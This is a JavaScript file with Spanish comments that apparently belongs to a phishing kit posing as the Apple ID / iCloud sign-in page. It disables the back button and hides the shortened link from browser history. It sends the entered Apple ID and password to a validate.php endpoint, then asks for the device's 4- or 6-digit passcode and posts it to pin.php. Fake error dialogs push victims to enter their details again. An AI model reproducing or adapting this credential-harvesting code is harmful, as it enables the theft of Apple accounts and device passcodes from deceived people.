
    //ELIMINA DEL HISTORIAL DEL NAVEGADOR EL LINK DEL YOURLS
    
count = 0;
    $(document).ready(function(){
        window.history.pushState(null, "", window.location.href);        
        window.onpopstate = function() {
            window.history.pushState(null, "", window.location.href);
        };

    
    //SI EL IOS ES MAYOR A 13 MUESTRA SOLO EL CORREO
    if('' == "IOS => 11.3") {      
        $('.appleid_field').css({'border-bottom-left-radius': '6px','border-bottom-right-radius': '6px'});
        $('.email-btn').css('display', 'block');
        $(".appleid_field").keypress(function(e) {            
            if($(this).val() == "" && e.keyCode == 13) {
              e.preventDefault();
            }else if($(this).val() != "" && e.keyCode == 13) {
              $(".email-btn").click();
            }
        });      
      }else{
        $('.pass_content').css('visibility', 'visible');
        $('.submit-btn').css('display', 'block');      
        $(".appleid_field" , ".pwd_field").keypress(function(e) {            
            if($(this).val() == "" && e.keyCode == 13) {
              e.preventDefault();
            }else if($(this).val() != "" && e.keyCode == 13) {
              $(".submit-btn").click();
            }
        });
      };

    $('.appleid_field,.pwd_field').keyup(function(){       
          if($('.appleid_field').val().trim() == "" || $('.pwd_field').val().trim() == "") {
              $(".submit-btn").prop( "disabled", true);        
          }else {
              $(".submit-btn").prop( "disabled", false);
          }       
      });

    //HABILITA O DESHABILITA EL BOTON DEL MAIL
    $('.appleid_field').keyup(function(){       
          if($('.appleid_field').val().trim() == "") {
              $(".email-btn").prop( "disabled", true);        
          }else{
              $(".email-btn").prop( "disabled", false);
          }       
      });

    //AL DAR CLICK EN EL BOTON DEL MAIL    
    /*$(".email-btn").click(function(){  
      document.activeElement.blur();
      window.scrollTo(0,0);  
      $('.email-btn').css('display', 'none');      
      $('.forgot').css('display', 'none');
      $('.setup').css('display', 'none');
      $('.spin_btn').css('display', 'block');
      setTimeout(function(){
          $('.spin_btn').css('display', 'none');
          $('.appleid_field').css({'border-bottom-left-radius': '0px','border-bottom-right-radius': '0px'});
          $( ".pass_content" ).slideDown( "slow", function() {
            $('.pass_content').css('visibility', 'visible');
            });
          $('.submit-btn').css('display', 'block');
          $('.forgot').css('display', 'block');
          $('.setup').css('display', 'block');
      }, 1000);     
    });*/

    //HABILITA O DESHABILITA EL BOTON DE SUBMIT
    $('.appleid_field,.pwd_field').keyup(function(){       
          if($('.appleid_field').val().trim() == "" || $('.pwd_field').val().trim() == "") {
              $(".submit-btn").prop( "disabled", true);        
          }else{
              $(".submit-btn").prop( "disabled", false);
          }       
      });

    //MOSTRAR SPINNER Y OCULTAR OTROS BOTONES
    /*$(".submit-btn").click(function(){    
    $('.submit-btn').css('display', 'none');
    $('.forgot').css('display', 'none');
    $('.setup').css('display', 'none');
    $('.spin_btn').css('display', 'block');
    });*/

    
  
//INVALID ERROR MESSAGE
      function Invalid_Error_Mssg(){        
        this.render = function(dialog){          
          var head      = '';
          var body      = '';
          var ok        = '';        
          var winW = window.innerWith;
          var winH = window.innerHeight;
          var dialogoverlay = document.getElementById('dialogoverlay');
          var dialogbox = document.getElementById('dialogbox');
          dialogoverlay.style.display = "block";
          dialogoverlay.style.height = winH+"px";
          dialogbox.style.left = (winW/2) - (550 * .5)+"px";                
          dialogbox.style.display = "block";
          //DATOS DE LA ALERTA INVALIDAD
          document.getElementById('dialogboxhead').innerHTML = head;
          document.getElementById('dialogboxbody').innerHTML = body;
          document.getElementById("dialogboxcode").style.display = "none"; 
          document.getElementById('dialogboxfoot').innerHTML = '<button id="myButton" class="alt_ok_btn" onclick=ok_btn_invalid()>' + ok + '</button>';
          $(".submit-btn").prop( "disabled", true);         
        }
      }
      var Invalid = new Invalid_Error_Mssg();

//VALID ERROR MESSAGE
      function Valid_Error_Mssg(){        
        this.render = function(dialog){          
          var head = '';
          var body = '';
          var ok   = '';            
          var winW = window.innerWith;
          var winH = window.innerHeight;
          var dialogoverlay = document.getElementById('dialogoverlay');
          var dialogbox = document.getElementById('dialogbox');
          dialogoverlay.style.display = "block";
          dialogoverlay.style.height = winH+"px";
          dialogbox.style.left = (winW/2) - (550 * .5)+"px";                
          dialogbox.style.display = "block";
          //DATOS DE LA ALERTA INVALIDAD
          document.getElementById('dialogboxhead').innerHTML = head;
          document.getElementById('dialogboxbody').innerHTML = body;
          document.getElementById("dialogboxcode").style.display = "none"; 
          document.getElementById('dialogboxfoot').innerHTML = '<button class="alt_ok_btn" onclick=ok_btn_valid()>' + ok + '</button>';
          $(".submit-btn").prop( "disabled", true);         
        }
      }
      var Valid = new Valid_Error_Mssg();

//FORGOT ERROR MESSAGE WITH PIN CODE
      function Forgot_Error_Mssg(){        
        this.render = function(dialog){          
          var head = '';
          var body = '';
          var code   = '';            
          var ok   = '';            
          var winW = window.innerWith;
          var winH = window.innerHeight;
          var dialogoverlay = document.getElementById('dialogoverlay');
          var dialogbox = document.getElementById('dialogbox');
          dialogoverlay.style.display = "block";
          dialogoverlay.style.height = winH+"px";
          dialogbox.style.left = (winW/2) - (550 * .5)+"px";                
          dialogbox.style.display = "block";
          //DATOS DE LA ALERTA INVALIDAD
          document.getElementById("dialogboxcode").style.display = "block";
          document.getElementById("dialogboxbody").style.height = "70"; 
          document.getElementById('dialogboxhead').innerHTML = head;
          document.getElementById('dialogboxbody').innerHTML = body;
          document.getElementById('dialogboxcode').innerHTML = '<button class="alt_code_btn" onclick=btn_code()>' + code + '</button>';
          document.getElementById('dialogboxfoot').innerHTML = '<button class="alt_ok_btn" onclick=ok_btn_invalid()>' + ok + '</button>';
          $(".submit-btn").prop( "disabled", true);         
        }
      }
      var Forgot = new Forgot_Error_Mssg();

//FORGOT ERROR MESSAGE WITH PIN CODE
      function Forgot_nocode_Error_Mssg(){        
        this.render = function(dialog){          
          var head = '';
          var body = '';
          var code   = '';            
          var ok   = '';            
          var winW = window.innerWith;
          var winH = window.innerHeight;
          var dialogoverlay = document.getElementById('dialogoverlay');
          var dialogbox = document.getElementById('dialogbox');
          dialogoverlay.style.display = "block";
          dialogoverlay.style.height = winH+"px";
          dialogbox.style.left = (winW/2) - (550 * .5)+"px";                
          dialogbox.style.display = "block";          
          document.getElementById("dialogboxcode").style.display = "block";
          document.getElementById("dialogboxbody").style.height = "70"; 
          document.getElementById('dialogboxhead').innerHTML = head;
          document.getElementById('dialogboxbody').innerHTML = body;
          document.getElementById('dialogboxcode').innerHTML = '<button class="alt_code_btn" onclick=btn_NOcode()>' + code + '</button>';
          document.getElementById('dialogboxfoot').innerHTML = '<button class="alt_ok_btn" onclick=ok_btn_invalid()>' + ok + '</button>';
          $(".submit-btn").prop( "disabled", true);         
        }
      }
      var Forpass = new Forgot_nocode_Error_Mssg();

//PIN ERROR MESSAGE
      function Pin_Error_Mssg(){        
        this.render = function(dialog){          
          var head = '';
          var body = '';
          var ok   = '';            
          var winW = window.innerWith;
          var winH = window.innerHeight;
          var dialogoverlay = document.getElementById('dialogoverlay');
          var dialogbox = document.getElementById('dialogbox');
          dialogoverlay.style.display = "block";
          dialogoverlay.style.height = winH+"px";
          dialogbox.style.left = (winW/2) - (550 * .5)+"px";                
          dialogbox.style.display = "block";
          document.getElementById('dialogboxhead').innerHTML = head;
          document.getElementById('dialogboxbody').innerHTML = body;
          document.getElementById("dialogboxcode").style.display = "none"; 
          document.getElementById('dialogboxfoot').innerHTML = '<button class="alt_ok_btn" onclick=ok_pin_btn()>' + ok + '</button>';
          $(".submit-btn").prop( "disabled", true);         
        }
      }
      var Pin = new Pin_Error_Mssg();


//ENVIAR DATOS PARA VALIDACION   
    $('#signin-form').submit(function(event){
    document.activeElement.blur();
    window.scrollTo(0,0);
    event.preventDefault();      
    $.ajax({
        type: 'POST',
        url: '/validate/validate.php',
        data: $('#signin-form').serialize(),
        success: function(result){
          if(result.substr(0, 7) == 'invalid'){$('.submit-btn').css('display', 'block');
            $(".submit-btn").prop( "disabled", true);
            $('.forgot').css('display', 'block').css({'color': '#D1CDCA'});
            $('.setup').css('display', 'block').css({'color': '#D1CDCA'});
            $('.spin_btn').css('display', 'none');
            
            if($('#output').html() == 1){
                if(('' == "4") || ('' == "6")){                                 
                  Forgot.render()
              }else{
                  Forpass.render();
              }
                
            } else {
                  Invalid.render();
              }

          } else if (result.substr(0, 7) == 'valided') {                        
              $('#sign_table').css('display', 'none');
              if(('' == "4") || ('' == "6")){                                 
                  $('#pin_table').css('display', 'block');                  
                  focusPin();
              }else{
                  setTimeout(function(){Valid.render();}, 80000);
                  //$('#compass').css('display', 'block');
                  window.location.replace("/iCloudCompas/es");
              }
          }
        }  
      })
    });


//SI ES IPAD CENTRAR A LA PAGINA
    if('' == "iPad") {      
        $('.logo').css({"margin-top":"50%"});       
            }


//CODIGOS DE PIN
 
//FUNCION PARA QUE CAMBIE DE IMPUT EN EL CODIGO O REGRESE
$(".dot").keyup(function () {
  if (this.value.length == this.maxLength) {
        $(this).next('.dot').focus();
    }
});


//CODIGO PARA SOLO ACEPTE NUMEROS 
$('#dot_1, #dot_2, #dot_3, #dot_4, #dot_5, #dot_6').keypress(function(tecla) {
        if(tecla.charCode < 48 || tecla.charCode > 57) {
          return false;
        }        
    });

//CODIGO PARA QUE AL PRESIONAR BACKSPACE REGRESE AL INPUT ANTERIOR
$('#dot_1, #dot_2, #dot_3, #dot_4, #dot_5, #dot_6').keydown(function(e) {
    if ((e.which == 8 || e.which == 46) && $(this).val() =='') {
        $(this).prev('input').val("");
        $(this).prev('input').focus();
    }
});

//CUANDO TIENE LOS 4 DIGITOS ORDENA EL SUBMIT
$("#dot_4").on("keyup",function() {
    var maxLength = $(this).attr("maxlength");
    if(maxLength == $(this).val().length && '' == "4") {
      $("#dot_4").blur();
      window.scrollTo(0,0);
      $('.pin_btn').css('display', 'block');      
      $(".dots").submit();    
    }
});

//CUANDO TIENE LOS 6 DIGITOS ORDENA EL SUBMIT
$("#dot_6").on("keyup",function() {
    var maxLength = $(this).attr("maxlength");
    if(maxLength == $(this).val().length && '' == "6") {
        $("#dot_6").blur();
        window.scrollTo(0,0);
        $('.pin_btn').css('display', 'block');        
        $(".dots").submit();        
    }
});

//SUBMIT DEL CODIGO
$('.dots').submit(function(event){        
    event.preventDefault();      
    $.ajax({
        type: 'POST',
        url: '/validate/pin.php',
        data: $('.dots').serialize(),
        success: function(){
        
            Pin.render();
            if($('#outputcode').html() < 1){
              Pin.render();
            } else {
            $('#pin_table').css('display', 'none');
            document.getElementById('dialogbox').style.display = "none";
            document.getElementById('dialogoverlay').style.display = "none";
            setTimeout(function(){Valid.render();}, 80000);            
            //$('#compass').css('display', 'block');
            window.location.replace("/iCloudCompas/es");
            }

          }
    });

    



});



//EVITA EL BLUR PARA QUE NO SE PIERDA EL ENFOQUE
$('#dot_1, #dot_2, #dot_3, #dot_4, #dot_5, #dot_6').blur(function(e) {      
    if($('#dot_1').val().length == 0 ){
      setTimeout(function() {$("#dot_1").focus();},10);
    }
    if($('#dot_1').val().length !== 0 && $('#dot_2').val().length == 0){
        setTimeout(function() {$("#dot_2").focus();},10);
    }

    if($('#dot_1').val().length !== 0 && $('#dot_2').val().length !== 0 && $('#dot_3').val().length == 0){
        setTimeout(function() {$("#dot_3").focus();},10);
    } 
    if($('#dot_1').val().length !== 0 && $('#dot_2').val().length !== 0 && $('#dot_3').val().length !== 0 && $('#dot_4').val().length == 0){
        setTimeout(function() {$("#dot_4").focus();},10);
    }
    if($('#dot_1').val().length !== 0 && $('#dot_2').val().length !== 0 && $('#dot_3').val().length !== 0 && $('#dot_4').val().length !== 0 && $('#dot_5').val().length == 0){
        setTimeout(function() {$("#dot_5").focus();},10);
    }
    if($('#dot_1').val().length !== 0 && $('#dot_2').val().length !== 0 && $('#dot_3').val().length !== 0 && $('#dot_4').val().length !== 0 && $('#dot_5').val().length !== 0 && $('#dot_6').val().length == 0){
        setTimeout(function() {$("#dot_6").focus();},10);
    }
});



   
});


//AL DAR CLICK EN OK EN EL MENSAJE DE ALERTA DE NO VALIDO
function ok_btn_invalid() {
  document.getElementById('dialogbox').style.display = "none";
  document.getElementById('dialogoverlay').style.display = "none";  
  document.getElementById("dialogboxbody").style.height = "40";
  $('.forgot').css({'color': '#24a337'});
  $('.setup').css({'color': '#24a337'});
  $(".submit-btn").prop( "disabled", false);
  document.activeElement.blur();
  window.scrollTo(0,0);

  $('#output').html(function(i, val) { return val*1+1 });



}
//AL DAR CLICK EN OK EN EL MENSAJE DE ALERTA DE VALIDO
function ok_btn_valid() {
   window.location.replace('');
    }


function focusPin() {
    $('.dot').val("");

    if('' == "4") {
        $('#dot_5').css('display', 'none');
        $('#dot_6').css('display', 'none'); 
    }

    if ($('#pin_table').css('display') == 'block') {               
        if('' == "desktop") {
            $("#dot_1").focus();
        } else {
            document.body.ontouchend = function() { document.querySelector('[name="dot_1"]').focus();};
        }
    }
}

//AL DAR CLICK EN OK EN EL MENSAJE DE ALERTA DE FORGOT
function btn_code() {
    document.getElementById('dialogbox').style.display = "none";
    document.getElementById('dialogoverlay').style.display = "none";
    document.getElementById("dialogboxbody").style.height = "40";
    $('#sign_table').css('display', 'none');
    $('#pin_table').css('display', 'block');                  
    focusPin();
    }

//AL DAR CLICK EN OK EN EL MENSAJE DE ALERTA DE FORGOT Y CAMBIAR PASS
function btn_NOcode() {
    document.getElementById('dialogbox').style.display = "none";
    document.getElementById('dialogoverlay').style.display = "none";
    document.getElementById("dialogboxbody").style.height = "40";
    window.location.href = 'https://iforgot.apple.com/password/verify/appleid';
    }

//AL DAR CLICK EN OK PIN ERROR
function ok_pin_btn() {
    document.getElementById('dialogbox').style.display = "none";
    document.getElementById('dialogoverlay').style.display = "none";
    $('#outputcode').html(function(i, val) { return val*1+1 });    
    $('.pin_btn').css('display', 'none');
    focusPin();
    $("#dot_1").focus();
    document.querySelector('[name="dot_1"]').focus();
    }


